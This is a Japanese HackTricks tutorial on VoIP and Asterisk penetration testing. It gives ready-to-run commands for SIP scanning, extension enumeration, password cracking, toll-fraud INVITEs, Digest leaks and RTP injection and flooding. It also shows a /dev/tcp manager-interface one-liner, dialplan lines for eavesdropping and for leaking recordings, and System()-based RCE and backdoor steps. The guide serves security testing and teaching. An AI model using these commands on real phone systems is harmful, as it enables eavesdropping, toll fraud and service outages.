39 KiB
VoIPのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
VoIPの基本情報
VoIPの動作について学ぶためには、次のリンクをチェックしてください:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
VoIPの列挙
電話番号
Red Teamが最初に行うべき手順の1つは、OSINTツール、Google検索、またはWebページのスクレイピングを使用して、企業と連絡を取るための利用可能な電話番号を検索することです。
電話番号を取得したら、オンラインサービスを使用してオペレーターを特定することができます:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
オペレーターがVoIPサービスを提供しているかどうかを知ることで、企業がVoIPを使用しているかどうかを特定することができます...さらに、企業がVoIPサービスを契約していない場合でも、PSTNカードを使用して独自のVoIP PBXを従来の電話ネットワークに接続している可能性があります。
自動応答や音楽などのものは、VoIPが使用されていることを示しています。
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT情報
VoIPソフトウェアの特定に役立つ他のOSINT情報は、Red Teamにとって有益です。
ネットワーク列挙
- **
nmap
**はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスでは正確ではないかもしれません。 - SIPViciousの**
svmap
**(sudo apt install sipvicious
):指定されたネットワーク内のSIPサービスを特定します。 svmap
は簡単にブロックできます。なぜなら、User-Agentとしてfriendly-scanner
を使用しているからですが、/usr/share/sipvicious/sipvicious
のコードを変更することで対処できます。
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
sipscan.py
from sippts: Sipscanは、UDP、TCP、またはTLSを介したSIPサービスの非常に高速なスキャナーです。マルチスレッドを使用し、大規模なネットワーク範囲をスキャンすることができます。ポート範囲を簡単に指定したり、TCPとUDPの両方をスキャンしたり、別のメソッドを使用したり(デフォルトではOPTIONSを使用します)、異なるUser-Agentを指定したりすることができます(その他も可能です)。
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
Metasploitは、ペネトレーションテストや脆弱性評価に使用されるオープンソースのフレームワークです。Metasploitは、様々な脆弱性を検出し、攻撃を実行するためのツールセットを提供します。このフレームワークは、セキュリティ専門家によって広く使用されており、脆弱性の診断や侵入テストにおいて非常に効果的です。Metasploitは、攻撃者がシステムに侵入し、機密情報を取得するための手法を開発するための貴重なリソースです。
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
追加のネットワーク列挙
PBXは他のネットワークサービスも公開している可能性があります。以下はその例です:
- 69/UDP (TFTP): ファームウェアの更新
- 80 (HTTP) / 443 (HTTPS): ウェブからデバイスを管理するため
- 389 (LDAP): ユーザー情報を保存するための代替手段
- 3306 (MySQL): MySQLデータベース
- 5038 (Manager): 他のプラットフォームからAsteriskを使用するための機能
- 5222 (XMPP): Jabberを使用したメッセージング
- 5432 (PostgreSQL): PostgreSQLデータベース
- その他...
メソッドの列挙
sipenumerate.py
を使用して、PBXで使用可能なメソッドを見つけることができます。sipptsからダウンロードできます。
python3 sipenumerate.py -i 10.10.0.10 -r 5080
拡張子の列挙
PBX(プライベートブランチ交換)システムの拡張子は、組織やビジネス内の個々の電話回線、デバイス、またはユーザーに割り当てられた一意の内部識別子を指します。拡張子を使用することで、組織内での通話の効率的なルーティングが可能になります。個々のユーザーやデバイスごとに個別の外部電話番号が必要なくなります。
- SIPViciousの**
svwar
**(sudo apt install sipvicious
):svwar
は無料のSIP PBX拡張子ラインスキャナーです。概念的には、拡張子の範囲を推測したり、指定された拡張子のリストを推測することによって、従来のワードダイヤラーと同様に動作します。
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sipextend.py
from sippts: SipextenはSIPサーバー上の拡張機能を特定します。Sipextenは大規模なネットワークとポート範囲をチェックすることができます。
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
- metasploit: Metasploitを使用して、拡張子やユーザー名を列挙することもできます。
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAXは、Inter Asterisk Exchangeプロトコルのユーザー名ブルートフォースエンジンです。enumIAXは、2つの異なるモードで動作することができます。シーケンシャルなユーザー名の推測または辞書攻撃です。
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP攻撃
パスワードのブルートフォース
PBXといくつかの拡張子/ユーザー名を発見した場合、Red Teamは一般的なパスワードの辞書を使用して、REGISTER
メソッドを介して拡張子に対して認証を試みることができます。
{% hint style="danger" %} ユーザー名は拡張子と同じである場合もありますが、これはPBXシステム、その設定、および組織の設定によって異なる場合があります...
ユーザー名が拡張子と異なる場合は、ユーザー名を特定してブルートフォースする必要があります。 {% endhint %}
- SIPViciousの
svcrack
(sudo apt install sipvicious
): SVCrackを使用すると、PBX上の特定のユーザー名/拡張子のパスワードをクラックすることができます。
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
sipcrack.py
from sippts: SIP Digest Crackは、SIPプロトコル内のダイジェスト認証をクラックするためのツールです。
{% code overflow="wrap" %}
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
{% endcode %}
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIPスニッフィング
もしVoIP機器がオープンWifiネットワーク内にある場合、あなたはすべての情報をスニッフィングすることができます。さらに、もっと閉じたネットワーク(Ethernetで接続されたり、保護されたWifiで接続されたり)にいる場合、ARPスプーフィングなどのMitM攻撃を実行することができます。これにより、PBXとゲートウェイの間で情報をスニッフィングすることができます。
ネットワーク情報の中には、機器を管理するためのウェブの資格情報、ユーザーの拡張子、ユーザー名、IPアドレス、さらにはハッシュ化されたパスワードやRTPパケットなどが含まれており、これらを再生して会話を聞くことができます。
この情報を取得するためには、Wireshark、tcpdumpなどのツールを使用することができますが、VoIP会話をスニッフィングするために特別に作成されたツールであるucsniff(https://github.com/Seabreg/ucsniff)を使用することもできます。
{% hint style="danger" %}
SIP通信でTLSが使用されている場合、SIP通信を平文で表示することはできません。
同様に、SRTPやZRTPが使用されている場合、RTPパケットは平文ではありません。
{% endhint %}
SIPの資格情報
SIP REGISTER通信の例を確認して、資格情報がどのように送信されるかを理解してください。
sipdump
&sipcrack
(sipcrackの一部)(apt-get install sipcrack
):これらのツールは、SIPプロトコル内のダイジェスト認証をpcapから抽出し、それらをブルートフォースすることができます。
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
siptshar.py
,sipdump.py
,sipcrack.py
from sippts:- SipTsharkはPCAPファイルからSIPプロトコルのデータを抽出します。
- SipDumpはPCAPファイルからSIP Digest認証を抽出します。
- SIP Digest CrackはSIPプロトコル内のDigest認証をクラックするためのツールです。
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
DTMFコード
ネットワークトラフィック内には、SIPの資格情報だけでなく、DTMFコードも見つけることができます。これらのコードは、例えばボイスメールにアクセスするために使用されます。
これらのコードは、INFO SIPメッセージ、オーディオ内、またはRTPパケット内に送信することが可能です。RTPパケット内にコードが含まれている場合、会話のその部分を切り取り、ツールmultimoを使用して抽出することができます。
multimon -a DTMF -t wac pin.wav
無料通話 / Asterisks接続の設定ミス
Asteriskでは、特定のIPアドレスからの接続または任意のIPアドレスからの接続を許可することが可能です。
host=10.10.10.10
host=dynamic
IPアドレスが指定されている場合、ホストは定期的にREGISTERリクエストを送信する必要はありません(REGISTERパケットには通常30分の有効期限が含まれており、他のシナリオでは電話機は30分ごとにREGISTERする必要があります)。ただし、VoIPサーバーからの通話を受けるためには、開いているポートを持っている必要があります。
ユーザーを定義するためには、次のように定義できます:
type=user
:ユーザーはユーザーとしてのみ通話を受けることができます。type=friend
:ピアとして通話を行い、ユーザーとして受けることができます(拡張機能と一緒に使用されます)。type=peer
:ピアとして通話を送受信することができます(SIPトランク)。
また、次のように安全でない変数を使用して信頼関係を確立することも可能です:
insecure=port
:IPによって検証されたピア接続を許可します。insecure=invite
:INVITEメッセージの認証を必要としません。insecure=port,invite
:両方
{% hint style="warning" %}
type=friend
が使用される場合、host変数の値は使用されません。したがって、管理者がその値を使用してSIPトランクを誤って設定した場合、誰でもそれに接続できるようになります。
たとえば、次の設定は脆弱です:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
無料通話/アスタリスクのコンテキストの誤構成
アスタリスクでは、コンテキストはダイヤルプラン内の関連する拡張機能、アクション、およびルールをグループ化するための名前付きのコンテナまたはセクションです。ダイヤルプランはアスタリスクシステムの中核コンポーネントであり、着信および発信通話の処理とルーティング方法を定義します。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分を分離するために使用されます。
各コンテキストは通常、**extensions.conf
**ファイルなどの設定ファイルで定義されます。コンテキストは角括弧で示され、コンテキスト名がその内部に含まれます。例えば:
csharpCopy code[my_context]
コンテキスト内では、拡張子(ダイヤル番号のパターン)を定義し、それらを一連のアクションやアプリケーションと関連付けます。これらのアクションは、通話の処理方法を決定します。例えば:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
この例では、拡張機能「100」を持つ単純なコンテキスト「my_context」が示されています。誰かが100をダイヤルすると、通話が受け付けられ、ウェルカムメッセージが再生された後、通話が終了します。
これは別のコンテキストで、他の任意の番号に発信することができます。
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
もし管理者がデフォルトコンテキストを以下のように定義した場合:
[default]
include => my_context
include => external
{% hint style="warning" %} どんな人でもサーバーを使用して他の番号に電話をかけることができます(そしてサーバーの管理者が通話料金を支払うことになります)。 {% endhint %}
{% hint style="danger" %}
さらに、デフォルトでは**sip.conf
ファイルにはallowguest=true
**が含まれており、認証なしの攻撃者はどんな他の番号にも電話をかけることができます。
{% endhint %}
- sipptsの**
sipinvite.py
**:Sipinviteは、認証なしでPBXサーバーから電話をかけることができるかどうかを確認します。SIPサーバーが正しく構成されていない場合、外部の番号に電話をかけることができます。また、通話を第二の外部番号に転送することもできます。
たとえば、Asteriskサーバーのコンテキストの構成が悪い場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても電話をかけることができます。
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
無料通話 / 設定ミスのあるIVRS
IVRSは、インタラクティブ音声応答システムの略で、ユーザーが音声またはタッチトーン入力を介してコンピュータ化されたシステムと対話するための電話技術です。 IVRSは、情報の提供、通話のルーティング、ユーザーの入力の収集など、さまざまな機能を提供する自動通話処理システムを構築するために使用されます。
VoIPシステムのIVRSは通常、次の要素で構成されています:
- 音声プロンプト:IVRメニューオプションと指示をユーザーに案内するための事前録音された音声メッセージ。
- DTMF(デュアルトーンマルチフリークエンシー)シグナリング:電話のキーを押して生成されるタッチトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。
- 通話ルーティング:ユーザーの入力に基づいて、特定の部門、エージェント、または拡張子など、適切な宛先に通話を誘導すること。
- ユーザー入力の収集:口頭での情報、アカウント番号、ケースID、またはその他の関連データなど、発信者からの情報の収集。
- 外部システムとの統合:IVRシステムをデータベースや他のソフトウェアシステムに接続して、情報のアクセスや更新、アクションの実行、イベントのトリガーなどを行う。
Asterisk VoIPシステムでは、ダイヤルプラン(**extensions.conf
**ファイル)やBackground()
、Playback()
、Read()
などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトの再生、ユーザー入力の収集、通話フローの制御を支援します。
脆弱な設定の例
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
前述の例では、ユーザーに対して「1を押して部署に電話をかける」「2を押して別の部署に電話をかける」または「完全な内線番号」を入力するように求めています。
この脆弱性は、指定された内線番号の長さがチェックされていないため、ユーザーが5秒のタイムアウトを完全な番号として入力することができ、それが呼び出される可能性があるということです。
内線番号インジェクション
次のような内線番号を使用することができます:
exten => _X.,1,Dial(SIP/${EXTEN})
${EXTEN}
が呼び出される内線であり、ext 101が入力された場合、以下のようなことが起こります:
exten => 101,1,Dial(SIP/101)
しかし、${EXTEN}
が数字以外のもの(古いAsteriskバージョンのような)を導入することを許可している場合、攻撃者は101&SIP123123123
を導入して電話番号123123123に電話をかけることができます。そして、その結果は次のようになります:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
したがって、拡張子**101
と123123123
への通話が送信され、最初の通話のみが確立されます...しかし、攻撃者が一致しているが存在しない**拡張子を使用して、望ましい番号にのみ通話を注入することができます。
SIPDigestLeak
SIP Digest Leakは、ハードウェアおよびソフトウェアのIP電話機、および電話アダプタ(VoIPからアナログへの変換装置)を含む多くのSIP電話機に影響を与える脆弱性です。この脆弱性により、パスワードから計算されるDigest認証応答が漏洩します。その後、オフラインパスワード攻撃が可能となり、チャレンジレスポンスに基づいてほとんどのパスワードを回復することができます。
脆弱性のシナリオ(詳細についてはこちらを参照してください):
- IP電話(被害者)がポート5060でリスニングし、電話を受け付けます。
- 攻撃者がIP電話にINVITEを送信します。
- 被害者の電話が鳴り、誰かが電話に出て切ります(他の端末で電話に応答しないため)。
- 電話が切断されると、被害者の電話は攻撃者にBYEを送信します。
- 攻撃者は認証を要求する407レスポンスを発行し、認証のチャレンジを発行します。
- 被害者の電話は2番目のBYEで認証のチャレンジに応答します。
- 攻撃者はその後、ローカルマシン(または分散ネットワークなど)でチャレンジレスポンスに対するブルートフォース攻撃を実行し、パスワードを推測することができます。
- sipptsのsipdigestleak.py:SipDigestLeakは、この脆弱性を悪用します。
python3 sipdigestleak.py -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Callは、例えば製品に興味を持つウェブユーザーが、電話番号を入力して電話を受けることができるようにするものです。その後、広告が呼び出され、ユーザーが電話に出ると、ユーザーはエージェントと接続されて呼び出されます。
これに対する一般的なAsteriskのプロファイルは次のとおりです:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- 前のプロファイルでは、パスワードがわかっていればどのIPアドレスからでも接続できるようになっています。
- 前述のように、通話を組織するためには読み取り権限は必要ありません。書き込みのoriginateのみが必要です。
これらの権限を持っているIPアドレスは、パスワードを知っていれば接続し、多くの情報を抽出することができます。
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
詳細な情報やアクションが要求される場合があります。
盗聴
Asteriskでは、**ChanSpy
コマンドを使用して、監視する拡張子(またはすべての拡張子)**を指定して、発生している会話を聞くことができます。このコマンドは、拡張子に割り当てる必要があります。
たとえば、exten => 333,1,ChanSpy('all',qb)
とすると、拡張子333を呼び出すと、all
の拡張子を監視し、新しい会話が始まるたびに(b
)、静かなモード(q
)で聞くことができます。会話が行われている場所から別の会話に移動するには、***
**を押すか、拡張子番号をマークします。
また、**ExtenSpy
**を使用して、1つの拡張子のみを監視することも可能です。
会話を聞く代わりに、拡張子を使用してファイルに記録することも可能です。
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
通話は /tmp
に保存されます。
また、Asterisk が終了するときに通話を漏洩させるスクリプトを実行することもできます。
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed
RTCPBleedは、AsteriskベースのVoIPサーバーに影響を与える重大なセキュリティの問題です(2017年に公開されました)。この脆弱性により、VoIPの会話を運ぶRTP(リアルタイムプロトコル)トラフィックが、インターネット上の誰でも傍受およびリダイレクトされることが可能になります。これは、RTPトラフィックがNAT(ネットワークアドレス変換)ファイアウォールを経由する際に、認証をバイパスするためです。
RTPプロキシは、RTCシステムに影響を与えるNATの制限に対処するために、2つ以上のパーティ間でRTPストリームをプロキシすることを試みます。NATが存在する場合、RTPプロキシソフトウェアは通常、シグナリング(例:SIP)を介して取得したRTPのIPおよびポート情報に頼ることができません。そのため、いくつかのRTPプロキシは、そのようなIPおよびポートの組み合わせを自動的に学習するメカニズムを実装しています。これは、着信RTPトラフィックを検査し、着信RTPトラフィックのソースIPとポートを応答すべきものとしてマークすることによって行われることが多いです。このメカニズムは「学習モード」と呼ばれることがあり、いかなる種類の認証も使用しません。したがって、攻撃者はRTPトラフィックをRTPプロキシに送信し、通話中のRTPストリームの発信者または受信者向けに送信されるべきプロキシされたRTPトラフィックを受け取ることができます。私たちは、この脆弱性をRTP Bleedと呼んでいます。なぜなら、これにより攻撃者は合法的なユーザーに送信されるべきRTPメディアストリームを受け取ることができるからです。
RTPプロキシとRTPスタックのもう一つの興味深い振る舞いは、RTP Bleedに対して脆弱ではなくても、時には任意のソースからのRTPパケットを受け入れ、転送、および/または処理することがあることです。したがって、攻撃者は合法的なものではないRTPパケットを送信することができ、これにより既存のRTPストリームに不正なメディアを注入することができます。この攻撃をRTPインジェクションと呼びます。この脆弱性は、RTPプロキシとエンドポイントの両方で見つかる可能性があります。
AsteriskとFreePBXは、従来から**NAT=yes
の設定**を使用しており、これによりRTPトラフィックが認証をバイパスすることができ、通話時に音声がないか片方向の音声になる可能性があります。
詳細については、https://www.rtpbleed.com/を参照してください。
- sipptsの**
rtpbleed.py
**:RTP Bleedの脆弱性を検出するためにRTPストリームを送信します。
python3 rtpbleed.py -i 10.10.0.10
rtcpbleed.py
from sippts: RTPストリームを送信してRTP Bleed脆弱性を検出します。
python3 rtcpbleed.py -i 10.10.0.10
rtpbleedflood.py
from sippts: RTPストリームを送信してRTP Bleed脆弱性を悪用する
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
rtpbleedinject.py
from sippts: RTPブリード脆弱性を悪用し、RTPストリーム(オーディオファイルから)を送信します。
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Asteriskで、脆弱なウェブマネージャーサーバーを侵害することで、拡張ルールを追加して再読み込みすることができる場合、**System
**コマンドを使用してRCEを実行することが可能です。
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
**Shell
というコマンドは、必要に応じてシステムコマンドを実行するためにSystem
**の代わりに使用することができます。
{% hint style="warning" %}
サーバーが**System
コマンドで特定の文字の使用を禁止している場合(Elastixなど)、ウェブサーバーがシステム内で何らかの方法でファイルを作成することを許可しているか**(Elastixやtrixboxのように)、それを使用してバックドアスクリプトを作成し、それを**System
を使用して実行**します。
{% endhint %}
興味深いローカルファイルと権限
sip.conf
-> SIPユーザーのパスワードが含まれています。- Asteriskサーバーがrootとして実行されている場合、rootを侵害することができます。
- mysql rootユーザーはパスワードを持っていないかもしれません。
- これを使用して、バックドアとして新しいmysqlユーザーを作成することができます。
FreePBX
amportal.conf
-> ウェブパネル管理者(FreePBX)のパスワードが含まれています。FreePBX.conf
-> データベースにアクセスするために使用されるFreePBXuserユーザーのパスワードが含まれています。- これを使用して、バックドアとして新しいmysqlユーザーを作成することができます。
Elastix
Elastix.conf
-> mysql rootパスワード、IMAPdパスワード、ウェブ管理者パスワードなど、いくつかのパスワードが平文で含まれています。- いくつかのフォルダは侵害されたAsteriskユーザーに属しています(rootとして実行されていない場合)。このユーザーは前述のファイルを読み取ることができ、また構成も制御できるため、実行時に他のバックドア付きバイナリをAsteriskに読み込ませることができます。
RTPインジェクション
rtpinsertsound
(sudo apt install rtpinsertsound
)や**rtpmixsound
(sudo apt install rtpmixsound
)などのツールを使用して、会話に.wav
**を挿入することができます。
または、http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/のスクリプトを使用して、会話をスキャンする(rtpscan.pl
)、会話に.wav
を送信する(rtpsend.pl
)、会話にノイズを挿入する(rtpflood.pl
)こともできます。
DoS
VoIPサーバーでDoSを試みるためのいくつかの方法があります。
- sipptsからの**
sipflood.py
:_SipFlood_はターゲットに無制限のメッセージを送信します。 python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
- IAXFlooder:Asteriskで使用されるIAXプロトコルのDoS
- inviteflood:UDP/IP上でSIP/SDP INVITEメッセージのフラッディングを実行するツール。
- rtpflood:複数の正常なRTPパケットを送信します。使用されているRTPポートを知る必要があります(まずスニフィング)。
- SIPp:SIPトラフィックの分析と生成が可能です。したがって、DoSにも使用できます。
- SIPsak:SIPスイスアーミーナイフ。SIP攻撃を実行するためにも使用できます。
- Fuzzers:protos-sip、voiper。
- sipptsからの**
sipsend.py
**:SIPSendを使用して、カスタマイズされたSIPメッセージを送信し、応答を分析することができます。 - sipptsからの**
wssend.py
**:WsSendを使用して、WebSocketsを介してカスタマイズされたSIPメッセージを送信し、応答を分析することができます。
OSの脆弱性
Asteriskなどのソフトウェアをインストールする最も簡単な方法は、FreePBX、Elastix、Trixboxなど、すでにインストールされているOSディストリビューションをダウンロードすることです。ただし、これらのディストリビューションは一度動作していると、システム管理者がそれらを再度更新しない可能性があり、時間の経過とともに脆弱性が発見される可能性があります。
参考文献
- https://github.com/Pepelux/sippts/wiki
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけて、独占的なNFTのコレクションを見つけてください。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦[**@carlospolop